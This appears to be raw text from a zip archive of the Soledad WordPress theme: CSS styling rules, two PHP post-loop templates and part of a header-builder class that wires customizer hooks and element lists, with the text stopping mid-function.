	border: 0 none;
	height: auto;
	margin: 0;
	max-width: 100%;
	padding: 0;
	width: 100%;
}
.wp-caption .wp-caption-dd {
	font-size: 14px;
	line-height: 1.4;
	margin: 0;
	padding: 11px 10px;
	color: #fff;
	font-style: italic;
	position: absolute;
	bottom: 0;
	left: 0;
	width: 100%;
	background: rgba(0, 0, 0, 0.5);
	transition: all 0.4s;
	-webkit-transition: all 0.4s;
	-moz-transition: all 0.4s;
	box-sizing: border-box;
	-webkit-box-sizing: border-box;
}

/*** Pre & Code ***/
pre {
	display: block;
	font-size: 14px;
	word-break: break-all;
	word-wrap: break-word;
	white-space: pre-wrap;
	background-color: #f4f4f4;
	border: 1px solid rgba(0, 0, 0, 0.1);
	margin: 0 0 20px;
	line-height: 1.4;
	padding: 15px;
	letter-spacing: 0;
	color: inherit;
}
code {
	padding: 2px;
    border-radius: 2px;
    color: #23282d;
    background: #f4f4f4;
    font-family: Menlo, Consolas, monaco, monospace;
    font-size: inherit;
    border: none;
}
.penci-tpadding-0,
.penci-tpadding-1,
.penci-tpadding-2,
.penci-tpadding-3,
.penci-tpadding-4,
.penci-tpadding-5,
.penci-tpadding-6,
.penci-tpadding-7{
	margin-top: 0;
	margin-bottom: 17px;
	line-height: 1.8;
	box-sizing: border-box;
	-webkit-box-sizing: border-box;
}
ul.penci_list_shortcode{
	list-style: none !important;
	list-style-type: none !important;
}
ul.penci_list_shortcode{
	padding-left: 19px !important;
}
.penci_list_shortcode li{
	position: relative;
    list-style: none!important;
    padding-left: 20px !important;
}
.penci_list_shortcode li:before {
    color: #6eb48c;
    content: "\f00c";
    width: 20px;
    margin-left: -20px;
    display: inline-block;
    font: normal normal normal 14px/1 FontAwesome;
    font-size: inherit;
    text-rendering: auto;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
    transform: none;
}
.penci_list_shortcode.penci_list-starlist li:before {
    content: "\f005";
}
.penci_list_shortcode.penci_list-pluslist li:before {
    content: "\f0fe";
}
.penci_list_shortcode.penci_list-minuslist li:before {
    content: "\f146";
}
.penci_list_shortcode.penci_list-editlist li:before {
    content: "\f044";
}
.penci_list_shortcode.penci_list-asterisklist li:before {
    content: "\f069";
}
.penci_list_shortcode.penci_list-thumbuplist li:before {
    content: "\f164";
}
.penci_list_shortcode.penci_list-folderlist li:before {
    content: "\f07b";
}
.penci_list_shortcode.penci_list-thumbdownlist li:before {
    content: "\f165";
}
.penci_list_shortcode.penci_list-heartlist li:before {
    content: "\f004";
}

.penci-highlight-black {
    -webkit-transition: color 0.3s;
    -moz-transition: color 0.3s;
    -o-transition: color 0.3s;
    transition: color 0.3s;
    background-color: rgba(0, 0, 0, 0.8);
    padding: 2px 0;
    margin: 0 7px 0 8px;
    box-shadow: 6px 0 0 rgba(0, 0, 0, 0.8), -8px 0 0 rgba(0, 0, 0, 0.8);
    color: gray;
}
.penci-highlight-black:hover {
    color: #fff;
}
.penci-highlighted-black {
    background-color: rgba(0, 0, 0, 0.8);
    padding: 2px 0;
    margin: 0 7px 0 8px;
    box-shadow: 6px 0 0 rgba(0, 0, 0, 0.8), -8px 0 0 rgba(0, 0, 0, 0.8);
    color: #fff;
}
.penci-highlighted-red {
    background-color: red;
    padding: 2px 0;
    margin: 0 7px 0 8px;
    box-shadow: 6px 0 0 #ff0000, -8px 0 0 red;
    color: #fff;
}
.penci-highlighted-blue {
    background-color: #3f51b5;
    padding: 2px 0;
    margin: 0 7px 0 8px;
    box-shadow: 6px 0 0 #3f51b5, -8px 0 0 #3f51b5;
    color: #fff;
}
.penci-highlighted-green {
    background-color: green;
    padding: 2px 0;
    margin: 0 7px 0 8px;
    box-shadow: 6px 0 0 #008000, -8px 0 0 green;
    color: #fff;
}
.penci-highlighted-yellow {
    background-color: #ffcb00;
    padding: 2px 0;
    margin: 0 7px 0 8px;
    box-shadow: 6px 0 0 #ffcb00, -8px 0 0 #ffcb00;
    color: #fff;
}
.penci-highlighted-pink {
    background-color: #ffc0cb;
    padding: 2px 0;
    margin: 0 7px 0 8px;
    box-shadow: 6px 0 0 #ffc0cb, -8px 0 0 #ffc0cb;
    color: #fff;
}
.penci-tpadding-1 {
    padding-left: 0;
    padding-right: 5%;
}
.penci-tpadding-2 {
    padding-left: 5%;
    padding-right: 0;
}
.penci-tpadding-3 {
    padding-left: 5%;
    padding-right: 5%;
}
.penci-tpadding-4 {
    padding-left: 5%;
    padding-right: 10%;
}
.penci-tpadding-5 {
    padding-left: 10%;
    padding-right: 5%;
}
.penci-tpadding-6 {
    padding-left: 10%;
    padding-right: 10%;
}
.penci-tpadding-7 {
    padding-left: 15%;
    padding-right: 15%;
}
@media (max-width: 767px) {
    .penci-tpadding-0,
    .penci-tpadding-1,
    .penci-tpadding-2,
    .penci-tpadding-3,
    .penci-tpadding-4,
    .penci-tpadding-5,
    .penci-tpadding-6,
    .penci-tpadding-7 {
        padding-left: 3% !important;
        padding-right: 3% !important;
    }
}
.penci-dropcap-box {
    float: left;
    display: block;
    background-color: #6eb48c;
    color: #fff;
    text-align: center;
    text-transform: uppercase;
    min-width: 56px;
    font-size: 48px;
    line-height: 50px;
    margin: 6px 13px 0 0;
    padding: 3px 13px;
	box-sizing: border-box;
	-webkit-box-sizing: border-box;
}
.penci-dropcap-box-outline {
    float: left;
    display: block;
    background-color: transparent!important;
    text-align: center;
    text-transform: uppercase;
    border: 2px solid #6eb48c;
    color: #6eb48c;
    min-width: 56px;
    font-size: 48px;
    line-height: 50px;
    margin: 6px 13px 0 0;
    padding: 3px 13px;
	box-sizing: border-box;
	-webkit-box-sizing: border-box;
}
.penci-dropcap-circle {
    -webkit-border-radius: 100%;
    -moz-border-radius: 100%;
    border-radius: 100%;
    float: left;
    display: block;
    background-color: #6eb48c;
    color: #fff;
    text-align: center;
    text-transform: uppercase;
    min-width: 56px;
    font-size: 48px;
    line-height: 50px;
    margin: 6px 13px 0 0;
    padding: 3px 13px;
	box-sizing: border-box;
	-webkit-box-sizing: border-box;
}
.penci-dropcap-circle-outline {
    float: left;
    display: block;
    background-color: transparent!important;
    text-align: center;
    text-transform: uppercase;
    border: 2px solid #6eb48c;
    color: #6eb48c;
    -webkit-border-radius: 50%;
    -moz-border-radius: 50%;
    border-radius: 50%;
    min-width: 56px;
    font-size: 48px;
    line-height: 50px;
    margin: 6px 13px 0 0;
    padding: 3px 13px;
	box-sizing: border-box;
	-webkit-box-sizing: border-box;
}
.penci-dropcap-regular {
    float: left;
    display: block;
    text-align: center;
    text-transform: uppercase;
    background-color: transparent!important;
    color: #6eb48c;
    font-size: 68px;
    line-height: 68px;
    margin: 0 13px 0 0;
    padding: 0;
}
.penci-dropcap-bold {
    float: left;
    display: block;
    text-align: center;
    text-transform: uppercase;
    background-color: transparent!important;
    color: #6eb48c;
    font-weight: bold;
    font-size: 68px;
    line-height: 68px;
    margin: 0 13px 0 0;
    padding: 0;
}
PK     N\q  q    content-mixed.phpnu [        <?php
/**
 * Template loop for mixed style
 */
?>
<?php

$penci_mixed_style = isset( $penci_mixed_style ) ? $penci_mixed_style : '';
/**
* Create var $jj to count order posts
* If $jj = 1, to show mixed post, $jj > 1 to show grid post
*
* @since 1.0
*/
$k = 3;
if ( ! isset ( $jj ) ) { $jj = 1; } else { $jj = $jj; }
if( ( is_home() && ! penci_get_setting( 'penci_sidebar_home' ) ) || ( is_archive() && ! penci_get_setting( 'penci_sidebar_archive' ) ) || is_page_template( 'page-vc.php' ) || is_page_template( 'page-penci-full-width.php' ) ):
	$k = 4;
endif;

if( isset( $template ) && $template == 'no-sidebar' ) {
	$k = 4;
}

if( 's1' == $penci_mixed_style ) {
	$k = 4;
} elseif( 's2' == $penci_mixed_style ) {
	$k = 3;
}

if ( ( $jj % $k ) == 1 ) {
	include( locate_template( 'content-mixed-post.php' ) );
}
else {
	include( locate_template( 'content-grid.php' ) );
}

$jj++;
?>PK     N\A84      content-classic-list.phpnu [        <?php
/**
 * Template loop for 1st standard then grid
 */


/**
 * Create var $jj to count order posts
 * If $jj = 1, to show standard post, $jj > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $jj ) ) { $jj = 1; } else { $jj = $jj; }

if ( $jj == 1 ) {
	//get_template_part( 'content', 'classic' );
	include( locate_template( 'content-classic.php' ) );
}
else {
	include( locate_template( 'content-list.php' ) );
}

$jj++;
?>

PK     N\/[s  s  $  inc/builder/class/header_builder.phpnu [        <?php
/**
 * @author : PenciDesign
 */

/**
 * Class Penci Header Builder
 */
class HeaderBuilder {
	/**
	 * @var HeaderBuilder
	 */
	private static $instance = null;

	public function __construct() {
		if ( ! current_user_can( 'manage_options' ) ) {
			return;
		}
		add_action( 'init', array( $this, 'builder_post_type' ) );
		add_action( 'customize_controls_print_footer_scripts', array( $this, 'header_builder_html' ) );
		add_action( 'customize_controls_enqueue_scripts', array( $this, 'header_builder_js' ), 900 );
		add_action( 'wp_ajax_save_header_builder', array( $this, 'save_header_builder' ) );

		add_action( 'customize_register', array( $this, 'register_customizer_settings' ) );
		add_filter( 'customize_register', array( $this, 'clear_settings' ), 99999999 );
		add_action( 'admin_init', array( $this, 'preview_customize' ) );
		add_action( 'edit_form_after_title', array( $this, 'penci_builder_editpost_link' ) );
		add_action( 'admin_enqueue_scripts', array( $this, 'penci_builder_admin_css' ) );
		add_filter( 'customize_loaded_components', array( $this, 'customizer_cleaner' ) );
		add_filter( 'display_post_states', array( $this, 'penci_dashboard_title' ), 10, 2 );
		add_filter( 'post_type_link', array( $this, 'change_link' ), 10, 2 );
		add_filter( 'post_row_actions', array( $this, 'add_edit_link' ), 10, 2 );
		add_filter( 'template_include', array( $this, 'header_template' ), 999 );
		add_filter( 'body_class', array( $this, 'preview_body_class' ), 10, 1 );
		add_action( 'customize_preview_init', array( $this, 'live_preview' ) );
		add_action( 'customize_controls_init', array( $this, 'live_preview_url' ) );
	}

	/**
	 * @return HeaderBuilder
	 */
	public static function getInstance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}

	public function live_preview_url() {
		global $wp_customize;
		if ( isset( $_REQUEST['layout_id'] ) && $_REQUEST['layout_id'] ) {
			$wp_customize->set_preview_url(
				add_query_arg(
					array( 'layout_id' => $_REQUEST['layout_id'] ),
					home_url()
				)
			);
		}
	}

	public static function remain_desktop_header_element() {
		return self::remain_desktop( 'penci_hb_element_desktop' );
	}

	public static function remain_desktop( $setting_prefix ) {
		$all_element = self::desktop_header_element();

		$rows_desktop    = array( 'topblock', 'top', 'mid', 'bottom', 'bottomblock' );
		$columns_desktop = array( 'left', 'center', 'right' );

		if ( $setting_prefix === 'penci_hb_element_desktop_sticky' ) {
			$rows_desktop = array( 'top', 'mid', 'bottom' );
		}

		$mobile_element = array(
			'pb_logo_mobile',
			'pb_mobile_menu',
			'pb_social_icon_mobile',
			'pb_button_mobile',
			'pb_button_mobile_2',
			'pb_html_ad_mobile',
			'pb_html_ad_mobile_2',
			'pb_shortcode_mobile',
			'pb_login_register_mobile',
			'pb_vertical_line_mobile_1',
			'pb_vertical_line_mobile_2',
		);

		foreach ( $rows_desktop as $row ) {
			foreach ( $columns_desktop as $column ) {
				$setting_element = "{$setting_prefix}_{$row}_{$column}";
				$default_element = penci_get_builder_mod( $setting_element, '' );
				$default_element = $default_element ? explode( ',', $default_element ) : $default_element;
				if ( is_array( $default_element ) ) {
					$default_element = array_merge( $default_element, $mobile_element );
					foreach ( $default_element as $element ) {
						unset( $all_element[ $element ] );
					}
				}
			}
		}

		return $all_element;
	}

	public static function desktop_header_element() {
		$elements = array(
			'pb_logo'            => esc_attr__( 'Logo', 'soledad' ),
			'pb_logo_sticky'     => esc_attr__( 'Sticky Logo', 'soledad' ),
			'pb_main_menu'       => esc_attr__( 'Menu 1', 'soledad' ),
			'pb_second_menu'     => esc_attr__( 'Menu 2', 'soledad' ),
			'pb_third_menu'      => esc_attr__( 'Menu 3', 'soledad' ),
			'pb_date_time'       => esc_attr__( 'Date Time', 'soledad' ),
			'pb_search_icon'     => esc_attr__( 'Search Icon', 'soledad' ),
			'pb_search_form'     => esc_attr__( 'Search Form', 'soledad' ),
			'pb_social_icon'     => esc_attr__( 'Social Icon', 'soledad' ),
			'pb_button'          => esc_attr__( 'Button 1', 'soledad' ),
			'pb_button_2'        => esc_attr__( 'Button 2', 'soledad' ),
			'pb_button_3'        => esc_attr__( 'Button 3', 'soledad' ),
			'pb_news_ticker'     => esc_attr__( 'News Ticker', 'soledad' ),
			'pb_hamburger_menu'  => esc_attr__( 'Hamburger Menu', 'soledad' ),
			'pb_login_register'  => esc_attr__( 'Login/Register', 'soledad' ),
			'pb_block'           => esc_attr__( 'Penci Block 1', 'soledad' ),
			'pb_block_2'         => esc_attr__( 'Penci Block 2', 'soledad' ),
			'pb_html_ad'         => esc_attr__( 'Custom HTML 1', 'soledad' ),
			'pb_html_ad_2'       => esc_attr__( 'Custom HTML 2', 'soledad' ),
			'pb_html_ad_3'       => esc_attr__( 'Custom HTML 3', 'soledad' ),
			'pb_shortcode'       => esc_attr__( 'Shortcode 1', 'soledad' ),
			'pb_shortcode_2'     => esc_attr__( 'Shortcode 2', 'soledad' ),
			'pb_shortcode_3'     => esc_attr__( 'Shortcode 3', 'soledad' ),
			'pb_vertical_line_1' => esc_attr__( 'Line Divider 1', 'soledad' ),
			'pb_vertical_line_2' => esc_attr__( 'Line Divider 2', 'soledad' ),
			'pb_vertical_line_3' => esc_attr__( 'Line Divider 3', 'soledad' ),
			'pb_vertical_line_4' => esc_attr__( 'Line Divider 4', 'soledad' ),
			'pb_vertical_line_5' => esc_attr__( 'Line Divider 5', 'soledad' ),
		);
		if ( get_theme_mod( 'penci_dms_enable' ) ) {
			$elements['pb_darkmode'] = esc_attr__( 'Dark Mode Switcher', 'soledad' );
		}
		if ( class_exists( 'WooCommerce' ) ) {
			$elements['pb_cart_icon']     = esc_attr__( 'Cart Icon', 'soledad' );
			$elements['pb_compare_icon']  = esc_attr__( 'Compare Icon', 'soledad' );
			$elements['pb_wishlist_icon'] = esc_attr__( 'WishList Icon', 'soledad' );
		}
		if ( defined( 'PENCI_BL_VERSION' ) ) {
			$elements['pb_bookmark'] = esc_attr__( 'Bookmark Button', 'soledad' );
		}

		return $elements;
	}

	public static function remain_sticky_header_element() {
		return self::remain_desktop( 'penci_hb_element_desktop_sticky' );
	}

	public static function remain_mobile_header_element() {
		$all_element = self::mobile_header_element();

		$blocks = array(
			'top' => array( 'center' ),
			'mid' => array( 'left', 'center', 'right' ),
		);

		foreach ( $blocks as $row => $columns ) {
			foreach ( $columns as $column ) {
				$setting_element = "penci_hb_element_mobile_{$row}_{$column}";
				$default_element = penci_get_builder_mod( $setting_element, array() );
				$default_element = $default_element ? explode( ',', $default_element ) : '';

				if ( is_array( $default_element ) ) {
					foreach ( $default_element as $element ) {
						unset( $all_element[ $element ] );
					}
				}
			}
		}

		return $all_element;
	}

	public static function mobile_header_element() {
		$elements = array(
			'pb_logo_mobile'            => esc_attr__( 'Mobile Logo', 'soledad' ),
			'pb_mobile_menu'            => esc_attr__( 'Mobile Menu Icon', 'soledad' ),
			'pb_login_register_mobile'  => esc_attr__( 'Mobile Login/Register', 'soledad' ),
			'pb_date_time'              => esc_attr__( 'Date Time', 'soledad' ),
			'pb_search_icon'            => esc_attr__( 'Search Icon', 'soledad' ),
			'pb_search_form'            => esc_attr__( 'Search Form', 'soledad' ),
			'pb_social_icon_mobile'     => esc_attr__( 'Social Icon', 'soledad' ),
			'pb_button_mobile'          => esc_attr__( 'Mobile Button 1', 'soledad' ),
			'pb_button_mobile_2'        => esc_attr__( 'Mobile Button 2', 'soledad' ),
			'pb_news_ticker'            => esc_attr__( 'News Ticker', 'soledad' ),
			'pb_hamburger_menu'         => esc_attr__( 'Hamburger Menu', 'soledad' ),
			'pb_block'                  => esc_attr__( 'Penci Block 1', 'soledad' ),
			'pb_block_2'                => esc_attr__( 'Penci Block 2', 'soledad' ),
			'pb_html_ad_mobile'         => esc_attr__( 'Custom HTML', 'soledad' ),
			'pb_html_ad_mobile_2'       => esc_attr__( 'Custom HTML 2', 'soledad' ),
			'pb_shortcode_mobile'       => esc_attr__( 'Shortcode', 'soledad' ),
			'pb_vertical_line_mobile_1' => esc_attr__( 'Line Divider 1', 'soledad' ),
			'pb_vertical_line_mobile_2' => esc_attr__( 'Line Divider 2', 'soledad' ),
		);
		if ( get_theme_mod( 'penci_dms_enable' ) ) {
			$elements['pb_darkmode'] = esc_attr__( 'Dark Mode Switcher', 'soledad' );
		}
		if ( class_exists( 'WooCommerce' ) ) {
			$elements['pb_cart_icon']     = esc_attr__( 'Cart Icon', 'soledad' );
			$elements['pb_compare_icon']  = esc_attr__( 'Compare Icon', 'soledad' );
			$elements['pb_wishlist_icon'] = esc_attr__( 'WishList Icon', 'soledad' );
		}
		if ( defined( 'PENCI_BL_VERSION' ) ) {
			$elements['pb_bookmark'] = esc_attr__( 'Bookmark Button', 'soledad' );
		}

		return $elements;
	}

	public static function remain_mobile_drawer_element() {
		$all_element = self::mobile_drawer_element();

		$blocks = array(
			'top'    => array( 'center' ),
			'bottom' => array( 'center' ),
		);

		foreach ( $blocks as $row => $columns ) {
			foreach ( $columns as $column ) {
				$setting_element = "penci_hb_element_mobile_drawer_{$row}_{$column}";
				$default_element = penci_get_builder_mod( $setting_element, array() );
				$default_element = $default_element ? explode( ',', $default_element ) : '';

				if ( is_array( $default_element ) ) {
					foreach ( $default_element as $element ) {
						unset( $all_element[ $element ] );
					}
				}
			}
		}

		return $all_element;
	}

	public static function mobile_drawer_element() {
		return array(
			'pb_logo_sidebar'        => esc_attr__( 'Sidebar Logo', 'soledad' ),
			'pb_dropdown_menu'       => esc_attr__( 'Mobile Sidebar Menu', 'soledad' ),
			'pb_search_form_sidebar' => esc_attr__( 'Search Form Sidebar', 'soledad' ),
			'pb_social_icon_mobile'  => esc_attr__( 'Social Icon', 'soledad' ),
			'pb_html_ad_mobile'      => esc_attr__( 'Custom HTML', 'soledad' ),
			'pb_html_ad_mobile_2'    => esc_attr__( 'Custom HTML 2', 'soledad' ),
			'pb_date_time'           => esc_attr__( 'Date Time', 'soledad' ),
			'pb_block'               => esc_attr__( 'Penci Block', 'soledad' ),
			'pb_shortcode'           => esc_attr__( 'Shortcode', 'soledad' ),
			'pb_button'              => esc_attr__( 'Button', 'soledad' ),
		);
	}

	public static function penci_dashboard_title( $post_states, $post ) {

		if ( $post->post_type !== 'penci_builder' ) {
			return $post_states;
		}

		$header_all_id     = get_theme_mod( 'pchdbd_all' );
		$header_archive_id = get_theme_mod( 'pchdbd_archive' );
		$header_page_id    = get_theme_mod( 'pchdbd_page' );
		$header_post_id    = get_theme_mod( 'pchdbd_post' );
		$header_home_id    = get_theme_mod( 'pchdbd_homepage' );
		$header_woo_id     = get_theme_mod( 'pchdbd_woocommerce' );

		if ( $header_home_id && $post->post_name == $header_home_id ) {
			$post_states[] = esc_attr__( 'Homepage Header Template', 'soledad' );
		}

		if ( $header_woo_id && $post->post_name == $header_woo_id ) {
			$post_states[] = esc_attr__( 'WooCommerce Header Template', 'soledad' );
		}

		if ( $header_all_id && $post->post_name == $header_all_id ) {
			$post_states[] = esc_attr__( 'Entire Header Template', 'soledad' );
		}

		if ( $header_archive_id && $post->post_name == $header_archive_id ) {
			$post_states[] = esc_attr__( 'Archive Header Template', 'soledad' );
		}

		if ( $header_page_id && $post->post_name == $header_page_id ) {
			$post_states[] = esc_attr__( 'Pages Header Template', 'soledad' );
		}

		if ( $header_post_id && $post->post_name == $header_post_id ) {
			$post_states[] = esc_attr__( 'Single Post Header Template', 'soledad' );
		}

		return $post_states;
	}

	public static function register_all_elements(): array {
		$elements = array(
			'pb_logo'                   => esc_attr__( 'Logo Desktop', 'soledad' ),
			'pb_logo_sticky'            => esc_attr__( 'Sticky Logo', 'soledad' ),
			'pb_logo_sidebar'           => esc_attr__( 'Logo Sidebar', 'soledad' ),
			'pb_main_menu'              => esc_attr__( 'Menu 1', 'soledad' ),
			'pb_second_menu'            => esc_attr__( 'Menu 2', 'soledad' ),
			'pb_third_menu'             => esc_attr__( 'Menu 3', 'soledad' ),
			'pb_dropdown_menu'          => esc_attr__( 'Dropdown Menu', 'soledad' ),
			'pb_mobile_menu'            => esc_attr__( 'Mobile Menu Button', 'soledad' ),
			'pb_date_time'              => esc_attr__( 'Date Time', 'soledad' ),
			'pb_search_icon'            => esc_attr__( 'Search Icon', 'soledad' ),
			'pb_search_form'            => esc_attr__( 'Search Form', 'soledad' ),
			'pb_search_form_sidebar'    => esc_attr__( 'Search Form Mobile', 'soledad' ),
			'pb_social_icon'            => esc_attr__( 'Social Icon', 'soledad' ),
			'pb_social_icon_mobile'     => esc_attr__( 'Social Icon', 'soledad' ),
			'pb_button'                 => esc_attr__( 'Button 1', 'soledad' ),
			'pb_button_2'               => esc_attr__( 'Button 2', 'soledad' ),
			'pb_button_3'               => esc_attr__( 'Button 3', 'soledad' ),
			'pb_news_ticker'            => esc_attr__( 'News Ticker', 'soledad' ),
			'pb_hamburger_menu'         => esc_attr__( 'Hamburger Menu', 'soledad' ),
			'pb_login_register'         => esc_attr__( 'Login/Register', 'soledad' ),
			'pb_login_register_mobile'  => esc_attr__( 'Mobile Login/Register', 'soledad' ),
			'pb_block'                  => esc_attr__( 'Penci Block 1', 'soledad' ),
			'pb_block_2'                => esc_attr__( 'Penci Block 2', 'soledad' ),
			'pb_html_ad'                => esc_attr__( 'Custom HTML 1', 'soledad' ),
			'pb_html_ad_2'              => esc_attr__( 'Custom HTML 2', 'soledad' ),
			'pb_html_ad_3'              => esc_attr__( 'Custom HTML 3', 'soledad' ),
			'pb_shortcode'              => esc_attr__( 'Shortcode 1', 'soledad' ),
			'pb_shortcode_2'            => esc_attr__( 'Shortcode 2', 'soledad' ),
			'pb_shortcode_3'            => esc_attr__( 'Shortcode 3', 'soledad' ),
			'pb_vertical_line_1'        => esc_attr__( 'Line Divider 1', 'soledad' ),
			'pb_vertical_line_2'        => esc_attr__( 'Line Divider 2', 'soledad' ),
			'pb_vertical_line_3'        => esc_attr__( 'Line Divider 3', 'soledad' ),
			'pb_vertical_line_4'        => esc_attr__( 'Line Divider 4', 'soledad' ),
			'pb_vertical_line_5'        => esc_attr__( 'Line Divider 5', 'soledad' ),
			'pb_logo_mobile'            => esc_attr__( 'Logo Mobile', 'soledad' ),
			'pb_mobile_nav'             => esc_attr__( 'Mobile Menu Navigation', 'soledad' ),
			'pb_button_mobile'          => esc_attr__( 'Button 1', 'soledad' ),
			'pb_button_mobile_2'        => esc_attr__( 'Button 2', 'soledad' ),
			'pb_html_ad_mobile'         => esc_attr__( 'Custom HTML', 'soledad' ),
			'pb_html_ad_mobile_2'       => esc_attr__( 'Custom HTML 2', 'soledad' ),
			'pb_shortcode_mobile'       => esc_attr__( 'Shortcode', 'soledad' ),
			'pb_vertical_line_mobile_1' => esc_attr__( 'Line Divider 1', 'soledad' ),
			'pb_vertical_line_mobile_2' => esc_attr__( 'Line Divider 2', 'soledad' ),
		);
		if ( defined( 'PENCI_BL_VERSION' ) ) {
			$elements['pb_bookmark'] = esc_attr__( 'Bookmark Button', 'soledad' );
		}
		if ( get_theme_mod( 'penci_dms_enable' ) ) {
			$elements['pb_darkmode'] = esc_attr__( 'Dark Mode Switcher', 'soledad' );
		}
		if ( class_exists( 'WooCommerce' ) ) {
			$elements['pb_cart_icon']     = esc_attr__( 'Cart Icon', 'soledad' );
			$elements['pb_compare_icon']  = esc_attr__( 'Compare Icon', 'soledad' );
			$elements['pb_wishlist_icon'] = esc_attr__( 'WishList Icon', 'soledad' );
		}

		return $elements;
	}

	public function clear_settings( WP_Customize_Manager $wp_customize ) {
		if ( isset( $_GET['layout_id'] ) ) {
			$panels   = $wp_customize->panels();
			$sections = $wp_customize->sections();

			// Optimize `in_array` by using `array_flip` for faster lookups
			$excluded_panels = array_flip( array( 'widgets', 'nav_menus', 'header_builder_config' ) );

			foreach ( $panels as $panel_id => $object ) {
				if ( ! isset( $excluded_panels[ $panel_id ] ) ) {
					$wp_customize->remove_panel( $panel_id );
				}
			}

			foreach ( $sections as $section_id => $object ) {
				// Perform `strpos()` only once for each section
				if ( strpos( $section_id, 'penci_header_' ) === false ) {
					$wp_customize->remove_section( $section_id );
				}
			}
		} else {
			// Remove only the necessary panel when layout_id is not set
			$wp_customize->remove_panel( 'header_builder_config' );
		}
	}

	public function register_customizer_settings( WP_Customize_Manager $wp_customize ) {
		require_once PENCI_SOLEDAD_DIR . '/inc/builder/customizer/select2.php';
		require_once PENCI_SOLEDAD_DIR . '/inc/builder/customizer/buider_config.php';
	}

	public function customizer_cleaner( $components ) {

		if ( isset( $_GET['layout_id'] ) && ! empty( $_GET['layout_id'] ) ) {
			$components = array();
		}

		return $components;
	}

	public function preview_customize() {
		global $wp_customize;
		$customizer_save = isset( $_GET['layout_id'] ) && ! empty( $_GET['layout_id'] ) ? $_GET['layout_id'] : '';
		if ( ! empty( $customizer_save ) ) {
			$header_data = get_post_meta( $customizer_save, 'settings_content', true );
			$header_data = wp_parse_args( $header_data, self::preview_default_data() );

			$mods         = get_theme_mods();
			$theme        = get_option( 'stylesheet' );
			$uncover_data = self::exclude_settings();

			foreach ( $mods as $theme_mod_id => $theme_mod_value ) {
				if ( strpos( $theme_mod_id, 'penci_header' ) !== false && ! in_array( $theme_mod_id, $uncover_data ) ) {
					unset( $mods[ $theme_mod_id ] );
				}
			}

			if ( is_array( $header_data ) && ! empty( $header_data ) ) {
				foreach ( $header_data as $save => $this_value ) {
					if ( ! in_array( $save, $uncover_data ) ) {
						unset( $mods[ $save ] );
						$mods[ $save ] = $this_value;
						$wp_customize->set_post_value( $save, $this_value );
					}
				}
			}
			update_option( "theme_mods_$theme", $mods );
		}
	}

	public function preview_default_data() {
		$default_element_data        = array();
		$builder_rows_desktop        = array( 'topblock', 'top', 'mid', 'bottom', 'bottomblock' );
		$builder_rows_desktop_sticky = array(
			'top'    => 'Sticky Top',
			'mid'    => 'Sticky Middle',
			'bottom' => 'Sticky Bottom',
		);
		$builder_columns_desktop     = array( 'left', 'center', 'right' );
		$builder_rows_mobile         = array( 'top', 'mid', 'bottom' );
		$builder_columns_mobile      = array( 'left', 'center', 'right' );
		$builder_row_sidebar         = array( 'top', 'bottom' );
		$builder_columns_sidebar     = array( 'center' );

		foreach ( $builder_rows_desktop as $row ) {
			foreach ( $builder_columns_desktop as $column ) {
				$default_element_data["penci_hb_element_desktop_{$row}_{$column}"] = '';
				$default_element_data["penci_hb_flex_desktop_{$row}_{$column}"] = 'row';
				$default_element_data["penci_hb_align_desktop_{$row}_{$column}"]   = $column;
			}
		}

		foreach ( $builder_rows_mobile as $row ) {
			foreach ( $builder_columns_mobile as $column ) {
				$default_element_data["penci_hb_element_mobile_{$row}_{$column}"] = '';
				$default_element_data["penci_hb_align_mobile_{$row}_{$column}"]   = $column;
			}
		}

		foreach ( $builder_rows_desktop_sticky as $row => $row_name ) {
			foreach ( $builder_columns_desktop as $column ) {
				$default_element_data["penci_hb_element_desktop_sticky_{$row}_{$column}"] = '';
				$default_element_data["penci_hb_flex_desktop_sticky_{$row}_{$column}"] = 'row';
				$default_element_data["penci_hb_align_desktop_sticky_{$row}_{$column}"]   = $column;
			}
		}

		foreach ( $builder_row_sidebar as $row ) {
			foreach ( $builder_columns_sidebar as $column ) {
				$default_element_data["penci_hb_element_mobile_drawer_{$row}_{$column}"] = '';
				$default_element_data["penci_hb_align_mobile_drawer_{$row}_{$column}"]   = $column;
			}
		}

		return $default_element_data;
	}

	public function exclude_settings() {
		return array(
			'penci_header_enable_transparent',
			'penci_header_padding',
			'penci_header_layout',
			'penci_header_menu_ani_style',
			'penci_header_ctwidth',
			'penci_header_3_banner',
			'penci_header_3_banner_url',
			'penci_header_3_adsense',
			'penci_header_social_check',
			'penci_header_social_brand',
			'penci_header_slogan_text',
			'penci_header_remove_line_slogan',
			'penci_header_menu_style',
			'penci_header_enable_padding',
			'penci_header_remove_line_hover',
			'penci_header_social_nav',
			'penci_header_hidesocial_nav',
			'penci_header_logo_mobile',
			'penci_header_logo_mobile_center',
			'penci_header_signup_padding',
			'penci_header_signup_fdesc',
			'penci_header_signup_finput',
			'penci_header_signup_fsubmit',
			'penci_header_signup_bg',
			'penci_header_signup_color',
			'penci_header_signup_input_border',
			'penci_header_signup_input_color',
			'penci_header_signup_submit_bg',
			'penci_header_signup_submit_color',
			'penci_header_signup_submit_bg_hover',
			'penci_header_signup_submit_color_hover',
			'penci_header_logo_vertical',
			'penci_header_social_vertical',
			'penci_header_social_vertical_brand',
			'penci_header_background_color',
			'penci_header_background_image',
			'penci_header_social_color',
			'penci_header_social_color_hover',
			'penci_header_slogan_color',
			'penci_header_slogan_line_color',
			'penci_header_tran_social_color',
			'penci_header_tran_social_color_hover',
			'penci_header_tran_slogan_color',
			'penci_header_tran_slogan_line_color',
			'penci_hbg_logo_max_width',
		);
	}

	public function header_builder_js() {
		if ( isset( $_GET['layout_id'] ) && ! empty( $_GET['layout_id'] ) ) {
			wp_enqueue_style( 'fontawesome', '//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css' );
			wp_enqueue_style( 'penci-header-builder', PENCI_BUILDER_URL . 'assets/css/header-builder.css' );
			wp_enqueue_script( 'selectize', PENCI_BUILDER_URL . 'assets/js/selectize.min.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
			wp_enqueue_script( 'penci-builder-saved', PENCI_BUILDER_URL . 'assets/js/control-saved.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
			wp_localize_script(
				'penci-builder-saved',
				'penci_hdbd',
				array(
					'nonce' => wp_create_nonce( 'penci-hdbd-ajax-nonce' ),
				)
			);

